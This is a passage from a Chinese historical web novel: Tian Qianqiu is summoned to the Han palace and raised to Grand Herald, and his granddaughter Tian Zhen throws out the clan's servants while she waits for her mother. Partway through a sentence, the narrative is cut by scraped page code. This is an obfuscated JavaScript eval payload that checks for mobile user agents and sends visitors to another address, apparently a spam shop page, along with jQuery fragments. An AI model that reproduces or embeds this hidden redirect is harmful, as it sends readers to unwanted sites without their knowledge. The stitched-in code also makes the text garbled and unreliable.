“什么?什么?无忧姐姐你说什么?”隔着黄土墙,田贞没听清楚。
“没什么。”李无忧拔高声音, “反正我先不走了,具体的事情,等你阿母回来,我再告诉你。”
“谢谢无忧姐姐。”田贞感动极了。她是知道无忧姐姐是多么迫切地想要离开,不惜假死,不惜一切代价。而如今,为了陪伴自己,无忧姐姐停下了自己的脚步。
就在这时,外头传来嘈杂的响动。田贞凝神细听,只两息的功夫,那些声音便靠近了。“刷刷刷”、“哒哒哒”不知道是什么声音。
田千秋和田父也从屋内走出。田父惊惧,他认得这动静,崩溃大喊,“是军队来了!是军队来了!抓我们来了!”喊完像是耗尽了全身力气,颓然倒地。
田千秋见状,面上的嫌恶一闪而过,随即又恢复平静,对田贞道,“将你阿父扶进屋,莫要让他出来。”
然而,田父两腿发软,站都站不起来,田贞瘦得像麻杆,如何扶得起这么个大男人。
纠缠间,响动在田家小院的门口停下,一个身形高大的人大跨步走进来。
“长陵邑郎官田千秋何在?”那人生的威武,浑身气派,一张口,声音好似狮子吼,洪亮震耳。
田千秋上前一步。
“你就是田千秋?”那人打量一身布衣的田千秋,微微颔首,缓了声音,“奉天子诏,召长陵邑郎官田千秋即刻入宫觐见。”
田千秋被带走,田贞追出门外,就看到爷爷被搀扶上了一驾高大的马车。那马车好大,宛若一个小房子。拉车的马儿神俊无比,皮毛在阳光下闪闪发光。
应该不是坏事.....念头在田贞脑中一闪而过。
队伍离开后,左邻右舍从各家屋子里钻了出来,左顾右盼,讨论纷纷。
“刚刚那是那只军队,好生英武啊。”
“田老头这是被抓走了?”看那情景,不像是啊。
“看什么看!”守着田家小院的差役眼睛一蹬,驱赶吃瓜群众,“那是羽林骑,还不快散了!”羽林骑,那可是长安禁军,天子亲卫。
“田小姐也快回去吧。”差役对田贞的称呼都变了——羽林骑的到来不是坏事儿,田贞都看得出来的东西,这些摸爬打滚惯了的差役自然也看得出来。
“阿贞!”一道欢快的声音叫住田贞,是满脸兴奋的李无忧。
李无忧呼吸急促,就在刚刚,她见证了历史!同时,那高大威武的将军,那列队整齐的军队,那油光水量的骏马,好似巍峨长安、泱泱大汉的一角——仅仅是这一角就让李无忧心驰神往,热血腾腾。
“阿贞!”李无忧扑上前,抓住田贞的手,急急道,“结束了,都结束了,好日子要来了!好日子要来了!”那是田贞的好日子,也是自己的好日子。
是夜,田千秋没有归家。
隔日,长安来使,“长陵邑郎官田千秋,忠直敢言,明于大体,拜为大鸿胪。”
一夜之间,一个区区四百石的守陵小官一跃成为九卿之一,秩中二千石,掌诸侯及四方归义蛮夷,典客礼仪。
一个正常的官员,从四百石的郎官做到九卿,起码要二十年的奋斗。而田千秋,只用了一天。
“恭喜恭喜!”
“恭喜恭喜啊!”
一夜之间,什么都变了。田家从人人避之不及的祸害成了人人追捧的存在。左邻右舍送来了米粮油盐,陵园的长官上门慰问,远在北坊的田氏族长也亲临寒酸的小院,送来了许多男男女女。
而这些都不是田贞想要的。
“贞小姐,热水已经备好,请您沐浴梳洗。”这是田家送来的老妇人,她长得圆胖喜庆,笑起来的时
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17417820|198518||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
候两眼弯弯,很是慈祥。
“您看,这些都是为您备下的衣物。”年轻的婢女恭敬捧着托盘,托盘上陈列着华服美衣——是那种像月光一样的布料制成的衣服,田贞只在南市见过一回。
“谁让你动的。”田贞冷冷地盯着老妇人——她进了厨房,那是阿母的地盘!
这些人呼啦啦来,洪水般充满了田家的每个角落,她们自然的收拾衣物、打扫庭院、劈柴生活,理所当然地接管了田家——这让田贞非常不舒服。
她讨厌失控!
“嗯?”老妇人哑然一瞬,随即满脸堆笑,“小姐是有什么不满意吗?”
不等田贞张口,田父走了过来。他头发披散着,浑身散发着氤氲的水汽,看样子是刚刚沐浴完毕。
“愣着作甚,快去洗澡换衣。”田父嫌弃看着田贞脏兮兮的模样,他一抬手,那滑溜溜的丝绸寝衣便如流水般荡漾开来。
“啊~~~”感受着丝绸划过肌肤的触感,田父发出满足的喟叹。
田贞不语,只冷冷看着阿父。
田父被看得发毛,想起这些时日在女儿手上吃的瘪,莫名一抖,讪讪道,“为父是为了你好,今日不同往日,咱家门庭改换,你再像这野孩子的模样,要遭人笑话的.....”
田父巴巴一通,发现女儿毫无反应,只一对黑溜溜的眼睛珠子盯着自己。那模样,活似自己再多嘴一句就要被一刀捅死。
“啊....那什么.....”田父闭嘴,转头冲老妇人和婢女凶狠大吼,“小姐说什么就是什么!轮到你们来指手画脚?!”
“不敢。”乌泱泱跪下一片。
“!”田父被这阵仗吓了一跳,随即腰杆挺直,心底升起一股不可名状的情绪——爽了!
“都去东边仓房,没有我的允许,谁都不许出来走动。”田贞小脸一板,眼白看人——她努力想让自己看上去厉害些。她知道阿母今天必定也会被送回来,她不想让旁人看到那情景。
田家送来的仆人你看你,我看我,没人动作。
“我数到三.....”田贞心里发狠,开始倒数。
“一、二.....”不等到三,田贞抄起墙角的扫把丢向那群奴仆。
“啊!”尖叫声一片,现场一片混乱。
“这...这....”田父看着暴走的女儿,手足无措。
“愣住作甚!”田贞看向田父,“还不把这些奴大欺主的祸害送走!”
“啊?”田父舍不得,喃喃道,“这不好吧....毕竟是族里送来的.....”
“族里巴结我家,才送她们来讨好我们的,不是送她们来让我受气的!”田贞看得明白,大喊一声,“不送我就告诉爷爷!”
“好好好!”田父投降,吆喝着赶人,刚刚还硬气的奴仆们哀嚎求饶。她们原以为田家小门小户好拿捏的,谁知.....
“族老们送她们来,卖身契却没有一并送来,这算什么!”田贞再加一把火。如今的她不比从前,田千秋的教学令她受益匪浅。
“这是瞧不起我家吗?!阿父是要爷爷遭人看低耻笑吗?!”田贞一口大帽子扣下,田父终于发狠将田氏送来的仆人们赶了个精光。
终于,嘈杂了一天的田家小院安静下来。等到太阳西沉,宵禁将至,院门外探头探脑的看客也散得个精光。
金色的夕阳下,田贞坐在门槛上,托着下巴静静等待。当最后一抹落日余晖消失在天地间,昏暗的小路尽头出现一队人马。
马蹄哒哒,田贞终于等到了要等的人。
“阿母!”